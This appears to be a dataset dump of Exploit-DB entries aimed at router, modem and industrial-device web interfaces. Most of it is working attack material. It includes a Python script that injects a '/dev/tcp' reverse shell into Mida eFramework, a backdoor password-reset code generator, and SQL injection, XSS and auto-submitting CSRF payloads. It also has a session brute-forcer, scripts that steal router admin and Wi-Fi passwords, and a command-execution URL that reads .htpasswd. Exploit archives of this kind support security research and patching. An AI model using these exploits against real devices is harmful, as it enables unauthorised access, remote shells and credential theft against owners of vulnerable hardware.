deardaniel/secdata-raw huggingface dataset:
Exploit-DB #48835
Description: Mida eFramework 2.8.9 - Remote Code Execution
Type: webapps
Platform: hardware
Date: 2020-09-28
Author: elbae

Exploit:
# Exploit Title: Mida eFramework 2.8.9 - Remote Code Execution
# Google Dork: Server: Mida eFramework
# Date: 2020-08-27
# Exploit Author: elbae
# Vendor Homepage: https://www.midasolutions.com/
# Software Link: http://ova-efw.midasolutions.com/
# Reference: https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html
# Version: <= 2.8.9
# CVE : CVE-2020-15922


#! /usr/bin/python3
# -*- coding: utf-8 -*-

import argparse
import base64
import random
import requests
import subprocess
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def print_disclaimer():
    print("""
    ---------------------
    Disclaimer:
    1) For testing purpose only.
    2) Do not attack production environments.
    3) Intended for educational purposes only and cannot be used for law
violation or personal gain.
    4) The author is not responsible for any possible harm caused by this
material.
    ---------------------""")


def print_info():
    print("""
[*] PoC exploit for Mida eFramework 2.8.9 PDC (CVE-2020-15922)
[*] Reference:https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html
[*] Vulnerability: OS Command Injection RCE in PDC/pages/network.php -
Reverse Shell
    ./CVE-2020-15922 http://192.168.1.60:8090/PDC/pages/network.php rev-IP
rev-PORT """)

def run_cmd(url,ip,port):
    rev_shell = "sudo bash -i >& /dev/tcp/{0}/{1} 0>&1".format(ip,port)
    print("[+] Reverse shell: {0}".format(rev_shell))
    data = {
        "submit":"True",
        "ipaddress0":"; {0}".format(rev_shell),
        "netmask0":"",
        "gateway0":"",
        "dns1":"",
        "dns2":""
    }
    # exec rev shell
    print("[*] Starting reverse shell to {0} {1}...".format(ip,port))
    try:
        r = requests.post(url,data=data,verify=False,timeout=1)
    except requests.exceptions.ReadTimeout:
        print("[?] ...check if it worked")
        pass

def main():
    print_info()
    print_disclaimer()
    parser = argparse.ArgumentParser()
    parser.add_argument("target", type=str,
        help="the complete target URL")
    parser.add_argument("ip", type=str,
        help="the ip address for reverse shell")
    parser.add_argument("port", type=str,
        help="the port for reverse shell")
    args = parser.parse_args()
    run_cmd(args.target, args.ip, args.port)

if __name__ == '__main__':
    main()
Exploit-DB #48823
Description: Mida eFramework 2.9.0 - Back Door Access
Type: webapps
Platform: hardware
Date: 2020-09-21
Author: elbae

Exploit:
# Exploit Title: Mida eFramework 2.9.0 - Back Door Access
# Google Dork: Server: Mida eFramework
# Date: 2020-08-27
# Exploit Author: elbae
# Vendor Homepage: https://www.midasolutions.com/
# Software Link: http://ova-efw.midasolutions.com/
# Reference: https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html
# Version: <= 2.9.0
# CVE : CVE-2020-15921


#! /usr/bin/python3
# -*- coding: utf-8 -*-

from datetime import date

def print_disclaimer():
print("""
---------------------
Disclaimer:
1) For testing purpose only.
2) Do not attack production environments.
3) Intended for educational purposes only and cannot be used for law
violation or personal gain.
4) The author is not responsible for any possible harm caused by this
material.
---------------------""")

def print_info():
print("""
[*] Mida Solutions eFramework PDC Administrative Back-Door access
(CVE-2020-15921)
[*] Reference:
https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html
[*] This script can be used to retrieve the code which gives you the
possibility to change the password.
[*] How it works:
1) run the script
2) copy the output to the URL you want to access (i.e.
http://192.168.1.60:8090/PDC/extreq.php?code=THE-CODE)
3) change the password
4) access as admin with the password """)

def main():
print_info()
print_disclaimer()
abc = ['a', 'b', 'c', 'd', 'e', 'f', 'g',
'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u',
'v', 'w', 'x', 'y', 'z']
baseString = 'midasoluti' # default value from source code
today = date.today()
dateString = "{}0{:02d}0{}".format(today.day, today.month, today.year)
retString = ""

for i in range(0,len(baseString)):
n = int(abc.index(baseString[i]))
m = int(dateString[i])
s = n+m
if (s >= len(abc)):
s = m
retString += abc[s]
print("[+] Generated code: {}".format(retString))
print("[?] Example URL: http://target:8090/PDC/extreq.php?code={0}
".format(retString))
print("[?] Example URL: https://target/PDC/extreq.php?code={0}
".format(retString))

if __name__ == '__main__':
main()
Exploit-DB #48474
Description: Mikrotik Router Monitoring System 1.2.3 - 'community' SQL Injection
Type: webapps
Platform: hardware
Date: 2020-05-18
Author: jul10l1r4

Exploit:
# Exploit Title: Mikrotik Router Monitoring System 1.2.3 - 'community' SQL Injection
# Exploit Author: jul10l1r4 (Julio Lira)
# Google Dork: N/A
# Date: 2020-05-16
# Vendor Homepage: https://mikrotik.com
# Software Link: https://mikrotik.com/download
# Version: <= 1.2.3
# Tested on: Debian 10 buster
# CVE: 2020-13118
Description: SQL Injection found in check_community.php:49

$community = $_GET['community'];
$_SESSION['community'] = $community;
$query = "SELECT name from router where `community`='
$community'";

PoC:

http://localhost/check_community.php?community=1' AND (SELECT 6941 FROM (SELECT(SLEEP(10)))Qaxg) AND 'sdHI'='sdHI

SQLmap using:
sqlmap -u 'http://localhost/check_community.php?community=1' --level=5 --risk=3
Exploit-DB #50423
Description: Mitsubishi Electric & INEA SmartRTU - Reflected Cross-Site Scripting (XSS)
Type: webapps
Platform: hardware
Date: 2021-10-18
Author: Hamit CİBO

Exploit:
# Exploit Title: Mitsubishi Electric & INEA SmartRTU - Reflected Cross-Site Scripting (XSS)
# Date: 2021-17-10
# Exploit Author: Hamit CİBO
# Vendor Homepage: https://www.inea.si
# Software Link: https://www.inea.si/telemetrija-in-m2m-produkti/mertu/
# Version: ME RTU
# Tested on: Windows
# CVE : CVE-2018-16061


# PoC
# Request

POST
/login.php/srdzz'onmouseover%3d'alert(1)'style%3d'position%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%
3btop%3a0%3bleft%3a0%3b'bsmy8 HTTP/1.1
Host: **.**.**.***
Content-Length: 132
Cache-Control: max-age=0
Origin: http://**.**.**.***
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/68.0.3440.84
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://**.**.**.***sss/login.php
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=el8pvccq5747u4qj9koio950l7
Connection: close

submitted=1&username=--
%3E%27%22%2F%3E%3C%2FsCript%3E%3CsvG+x%3D%22%3E%22+onload%3D%28co%5Cu006efirm%29%60%60&passw
ord=&Submit=Login

# Response

HTTP/1.1 200 OK
Date: Wed, 08 Aug 2018 08:14:25 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4
Vary: Accept-Encoding
Content-Length: 3573
Connection: close
Content-Type: text/html

<div id='fg_membersite' class='login_form'>
<form id='login' name='login'
action='/login.php/srdzz'onmouseover='alert(1)'style='position:absolute;width:100%;height:100%;top:0;left:0;'bsmy8'
method='post' accept-charset='UTF-8'>


Reference :

https://drive.google.com/file/d/1DEZQqfpIgcflY2cF6O0y7vtlWYe8Wjjv/view
Exploit-DB #50422
Description: Mitsubishi Electric & INEA SmartRTU - Source Code Disclosure
Type: webapps
Platform: hardware
Date: 2021-10-18
Author: Hamit CİBO

Exploit:
# Exploit Title: Mitsubishi Electric & INEA SmartRTU - Source Code Disclosure
# Date: 2021-17-10
# Exploit Author: Hamit CİBO
# Vendor Homepage: https://www.inea.si
# Software Link: https://www.inea.si/telemetrija-in-m2m-produkti/mertu/
# Version: ME RTU
# Tested on: Windows
# CVE : CVE-2018-16060


# PoC
# Request

GET /web HTTP/1.1
Host: **.**.**.***
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64;
x64; Trident/5.0)
Connection: close

# Response

HTTP/1.1 200 OK
Date: Wed, 08 Aug 2018 08:09:53 GMT
Server: Apache/2.4.7 (Ubuntu)
Content-Location: web.tar
Vary: negotiate
TCN: choice
Last-Modified: Wed, 19 Nov 2014 09:40:36 GMT
ETag: "93[PII_REDACTED]f58d00;51179459a2c00"
Accept-Ranges: bytes
Content-Length: 604160
Connection: close
Content-Type: application/x-tar


Reference :

https://drive.google.com/open?id=1QMHwTnBbIqrTkR0NEpnTKssYdi8vRsHH
Exploit-DB #38604
Description: Mobile USB Drive HD - Multiple Local File Inclusion / Arbitrary File Upload Vulnerabilities
Type: webapps
Platform: hardware
Date: 2012-06-28
Author: Benjamin Kunz Mejri

Exploit:
source: https://www.securityfocus.com/bid/60847/info

Mobile USB Drive HD is prone to multiple local file-include and arbitrary file-upload vulnerabilities because it fails to adequately validate files before uploading them.

An attacker can exploit these issues to upload arbitrary files onto the web server, execute arbitrary local files within the context of the web server, and obtain sensitive information.

Mobile USB Drive HD 1.2 is vulnerable; other versions may also be affected. 

<table border="0" cellpadding="0" cellspacing="0">
<thead>
<tr><th>Name</th><th class="del">Delete</th></tr>
</thead>
<tbody id="filelist">
<tr><td><a href=_http://www.example.com/files/webshell-js.php.png.txt.iso.php.gif; 
class="file">webshell-js.php.png.txt.iso.php.gif</a></td>
Exploit-DB #33792
Description: Motorola SBG901 Wireless Modem - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2014-06-17
Author: Blessen Thomas

Exploit:
Exploit Title :  Motorola SBG901 Wireless Modem CSRF Vulnerability
Google dork : N/A
Exploit Author: Blessen Thomas
Date : 06/01/2014
Vendor Homepage : http://www.arrisi.com/modems/
Software Link : N/A
Version : Motorola SBG901 Wireless modem
Tested on : Windows 7
CVE : CVE-2014-3778
Type of Application :  Web application
Release mode : Coordinated disclosure

Vulnerability description:
It was observed that this modem's Web Application , is vulnerable to
Cross-site request forgery through which attacker could manipulate user
data via sending the victim malicious crafted url.

At attacker could change the username,password ,dns service and host name
of the victim's account without the victim's knowledge.

Cross site request forgery
x.x.x.x is the ip address of the modem.



<html>
  <!-- CSRF PoC --->
  <body>
    <form action="http://x.x.x.x/goform/RgDdns" method="POST">
      <input type="hidden" name="DdnsService" value="1" />
      <input type="hidden" name="DdnsUserName" value="test" />
      <input type="hidden" name="DdnsPassword" value="test" />
      <input type="hidden" name="DdnsHostName" value="test" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>

Tools used :
Mozilla firefox browser v28.0 , Burp proxy free edition v1.5

Timeline:
- 31-03-14: Contacted Vendor with details of Vulnerability and Exploit.
- 01-04-14: Vendor ARRIS (formerly Motorola) forwards to Surfboard Gateway
product team for review
- 15-04-14: Vendor contacted to know the status.
- 01-05-14 : Contacted vendor to know the status and release the advisory
publically
- 02-05-14: Vendor acknowledged and responded that currently no fix
available since the product is no longer in production and due end of life
status product
-14-05-14: Contacted vendor the final time to release the security advisory
 publically.
-14-05-14 : Vendor responded to release the advisory publically.
-15-05-14: Requested CVE ID from Mitre team
-22-05-14: CVE ID obtained
Exploit-DB #34128
Description: MTS MBlaze Ultra Wi-Fi / ZTE AC3633 - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2014-07-21
Author: Ajin Abraham

Exploit:
#Author: Ajin Abraham - xboz
#http://opensecurity.in
#Product MTS MBlaze 3G Wi-Fi Modem
#System Version 107
#Manufacturer ZTE
#Model 	AC3633
import requests
import os
import urllib2
print "MTS MBlaze Ultra Wi-Fi / ZTE AC3633 Exploit"
print "Vulnerabilities"
print "Login Bypass | Router Credential Stealing | Wi-Fi Password Stealing | CSRF | Reset Password without old password and Session\n"
url='http://192.168.1.1'
def find_between( s, first, last ):
    try:
        start = s.index( first ) + len( first )
        end = s.index( last, start )
        return s[start:end]
    except ValueError:
        return ""
#Vulnerable Static Cookies
cookies = dict(iusername='logined')
#Login Bypass
login_url = url+'/en/index.asp'
print "\nAttempting Login :"+url
print '================='
try:
    response=urllib2.urlopen(url,timeout=1)
except:
    print "Cannot Reach : "+url
    exit
r = requests.get(login_url, cookies=cookies)
print 'Status : ' + str(r.status_code)
if "3g.asp" in r.text:
     print "Login Sucessfull!"
#Information Gathering
print "\nInformation"
print "========="
info_url=url+'/en/3g.asp'
i= requests.get(info_url, cookies=cookies)
ip=find_between(i.text,'"g3_ip" disabled="disabled" style="background:#ccc;" size="16" maxlength="15" value="','"></td>')
subnet =find_between(i.text,'"g3_mask" disabled="disabled" style="background:#ccc;"  size="16" maxlength="15" value="','"></td>')
gateway=find_between(i.text,'"g3_gw" disabled="disabled" style="background:#ccc;"  size="16" maxlength="15" value="','"></td>')
print "IP : " +ip
print "Subnet : "+subnet
print "Gateway : " +gateway
#Steal Login Password
print "\nStealing Router Login Credentials"
print "======================"
login_pwd_url=url+'/en/password.asp'
p = requests.get(login_pwd_url, cookies=cookies)
print 'Status : ' + str(p.status_code)
print 'Username :  admin' #default
passwd=find_between(p.text,'id="sys_password" value="','"/>')
print 'Password : '+ passwd
print '\nExtracting WPA/WPA2 PSK Key'
print '================='
#Wi-Fi Password Extraction
wifi_pass_url=url+'/en/wifi_security.asp'
s = requests.get(wifi_pass_url, cookies=cookies)
print 'Status: ' + str(s.status_code)
wpa=find_between(s.text,"wpa_psk_key]').val('","');")
wep=find_between(s.text,"wep_key]').val('","');")
print "WPA/WPA2 PSK : " + wpa
print "WEP Key : " + wep

print "\nOther Vulnerabilities"
print "======================="
print "\n1.Cross Site Request Forgery in:\n\nhttp://192.168.1.1/en/dhcp_reservation.asp\nhttp://192.168.1.1/en/mac_filter.asp \nhttp://192.168.1.1/en/password.asp"
print "\n2.Password Reset without old password and Session"
print """
POST /goform/formSyWebCfg HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.1.1/en/password.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,es;q=0.6,ms;q=0.4
Content-Length: 52

action=Apply&sys_cfg=changed&sys_[CREDENTIAL_REDACTED]
"""
Exploit-DB #49775
Description: Multilaser Router RE018 AC1200 - Cross-Site Request Forgery (Enable Remote Access)
Type: webapps
Platform: hardware
Date: 2021-04-21
Author: Rodolfo Mariano

Exploit:
# Exploit Title: Multilaser Router RE018 AC1200 - Cross-Site Request Forgery (Enable Remote Access)
# Date: 14/04/2021
# Exploit Author: Rodolfo Mariano
# Version: Firmware V02.03.01.45_pt
# CVE: 2021-31152

# Exploit Code:
<html>
	<body>
		<form action="http://192.168.0.1/goform/setSysTools" method="POST">
		    <input name="module4" value="remoteWeb" type="hidden">
		    <input name="remoteWebType" value="any" type="hidden">
		    <input name="remoteWebIP" value="" type="hidden">
		    <input name="remoteWebPort" value="8888" type="hidden">
            <input type="submit" value="Submit request">
		</form>
		<script>
			document.forms[0].submit();
		</script>
	</body>
</html>
Exploit-DB #48425
Description: NEC Electra Elite IPK II WebPro 01.03.01 - Session Enumeration
Type: webapps
Platform: hardware
Date: 2020-05-05
Author: Cold z3ro

Exploit:
# Title: NEC Electra Elite IPK II WebPro 01.03.01 - Session Enumeration 
# Author: Cold z3ro
# Date: 2020-05-04
# Homepage: https://www.0x30.cc/
# Vendor Homepage: https://www.nec.com
# Version: 01.03.01
# Discription: NEC SL2100 (NEC Electra Elite IPK II WebPro) Session Enumeration 

<?php
set_time_limit(0);

$host = "192.168.0.14";

$start = 100;
$end = 30000;
$maxproc= 50;
$execute=0;

echo "\n[+] NEC SL2100 (NEC Electra Elite IPK II WebPro) Session Enumeration\n\n";
sleep(3);
for ($i = $start; $i <= $end; $i++) 
{

	$pid = @pcntl_fork();
	$execute++;
	if ($execute >= $maxproc)
	{
		while (pcntl_waitpid(0, $status) != -1) 
		{
			$status = pcntl_wexitstatus($status);
			$execute =0;
			usleep(3000);
		}
	}
	if (!$pid) 
	{
		echo $url . " checking $i\n";
		login($url, $i);
		flush();
		exit; 
	}
}


function login($url, $key)
{
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $url .'/PyxisUaMenu.htm?sessionId='.$key.'&MAINFRM(444,-1,591)#');
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
	curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 80);
	curl_setopt($ch, CURLOPT_TIMEOUT, 80);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
	curl_setopt($ch, CURLOPT_HEADER, FALSE);
	$content  = curl_exec($ch);
	curl_close ($ch);
	if(preg_match('/Telephone/i', $content) || preg_match('/Mailbox/i', $content))
	{
		die("\n\n[+][-]".$url."/PyxisUaMenu.htm?sessionId=".$key."&MAINFRM(444,-1,591)# => Found\n\n");
		
	}
}
Exploit-DB #50201
Description: NetGear D1500 V1.0.0.21_1.0.1PE - 'Wireless Repeater' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: hardware
Date: 2021-08-16
Author: Securityium

Exploit:
# Exploit Title: NetGear D1500 V1.0.0.21_1.0.1PE - 'Wireless Repeater' Stored Cross-Site Scripting (XSS)
# Date: 21 Dec 2018
# Exploit Author: Securityium 
# Vendor Homepage: https://www.netgear.com/
# Version: V1.0.0.21_1.0.1PE
# Tested on: NetGear D1500 Home Router
# Contact: assessors@securityium.com


Version :
Hardware version: D1500-100PES-A
Firmware Version : V1.0.0.21_1.0.1PE

Step to Reproduce Video: https://www.youtube.com/watch?v=JcRYxH93E5E

Tested Network: Local LAN

SSID Details:
Attacker SSID : <script>confirm(222)</sciprt>

Attack Description :
If any admin is logged on the router admin panel. if he/she try to connect any other SSID for Wireless Repeating Function. that time they need to check available SSID surrounding. that name is not sanitized properly before showing on the web's admin panel which leads to Stored XSS. This issue was discovered by Touhid M.Shaikh (@touhidshaikh22)

Attack Impact:
The attacker can steal the cookies of the admin.

Step to Reproduce:
For Attacker:
1) First, you need to create a hotspot with a vulnerable SSID name. (which you want to get executed on the remote router's admin panel.)
2) In my case, I have created a hotspot from my mobile phone and gives an SSID name to <script>confirm(22)</script>

For routers admin
3) Logged in as admin.
2) Go to Advanced --> Advanced Setup --> Wireless Repeating Function
3) Enable Wireless Repeating Function
4) click on check.

wait for the checking scan to finish and display the surrounding networks list.
Exploit-DB #25978
Description: Netgear DGN1000 / DGN2200 - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2013-06-05
Author: Roberto Paleari

Exploit:
Unauthenticated command execution on Netgear DGN devices
========================================================

[ADVISORY INFORMATION]
Title:    Unauthenticated command execution on Netgear DGN devices
Discovery date: 01/05/2013
Release date:   31/05/2013
Credits:        Roberto Paleari (roberto@greyhats.it, twitter: @rpaleari)

[VULNERABILITY INFORMATION]
Class:           Authentication bypass, command execution

[AFFECTED PRODUCTS]
This security vulnerability affects the following products and firmware
versions:
   * Netgear DGN1000, firmware version < 1.1.00.48
   * Netgear DGN2200 v1
Other products and firmware versions are probably also vulnerable, but they
were not checked.

[VULNERABILITY DETAILS]
Attackers can leverage this vulnerability to bypass existing authentication
mechanisms and execute arbitrary commands on the affected devices, with root
privileges.

Briefly, the embedded web server skips authentication checks for some URLs
containing the "currentsetting.htm" substring. As an example, the following URL
can be accessed even by unauthenticated attackers:

http://<target-ip-address>/setup.cgi?currentsetting.htm=1

Then, the "setup.cgi" page can be abused to execute arbitrary commands. As an
example, to read the /www/.htpasswd local file (containing the clear-text
password for the "admin" user), an attacker can access the following URL:

http://<target-ip-address>/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=cat+/www/.htpasswd&curpath=/&currentsetting.htm=1

Basically this URL leverages the "syscmd" function of the "setup.cgi" script to
execute arbitrary commands. In the example above the command being executed is
"cat /www/.htpasswd", and the output is displayed in the resulting web
page. Slightly variations of this URL can be used to execute arbitrary
commands.

[REMEDIATION]
For DGN1000, Netgear included a fix for this issue inside firmware version
1.1.00.48. According to Netgear, DGN2200 v1 is not supported anymore, while v3
and v4 should not be affected by this issue; these versions were not tested by
the author.

[DISCLAIMER]
The author is not responsible for the misuse of the information provided in
this security advisory. The advisory is a service to the professional security
community. There are NO WARRANTIES with regard to this information. Any
application or distribution of this information constitutes acceptance AS IS,
at the user's own risk. This information is subject to change without notice.
Exploit-DB #46764
Description: Netgear DGN2200 / DGND3700 - Admin Password Disclosure
Type: webapps
Platform: hardware
Date: 2019-04-30
Author: Social Engineering Neo

Exploit:
#/bin/bash

#   PoC based on CVE-2016-5649 created by Social Engineering Neo.
#
#   Long Method: https://www.youtube.com/watch?v=f3awG0XPKAs
#
#   https://www.shodan.io/search?query=DGN2200  = 2,325 possible vulnerable devices.
#   https://www.shodan.io/search?query=DGND3700 = 555 possible vulnerable devices.
#
#   A vulnerability exists within the page 'BSW_cxttongr.htm' which can allow a remote attacker to access this page without any authentication.
#   When the request is processed, it exposes the administrator password in clear text before getting redirected to 'absw_vfysucc.cgia'.
#   An attacker can use this password to gain administrator access of the targeted routers web interface.
#
#   Netgear has released firmware version 1.0.0.52 for DGN2200 & 1.0.0.28 for DGND3700 to address this issue.

clear
read -p "Enter Target Address Followed by Port: " target port   # localhost 8080

if [ "$port" -lt 65536 ] && [ "$port" -gt 0 ]; then
    grab=$(curl -s -A 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' $target:$port/BSW_cxttongr.htm)
    pass=$(echo $grab | awk '{print $218}' | tail -c +2 | head -c -3)
    if [ "$pass" == '' ] || [ "$pass" == '/html' ] ; then
        echo Invalid Response, Target May Not be Vulnerable.
    else
        echo The Password for: $target is: $pass
    fi
else
    echo "Incorrect Port."
fi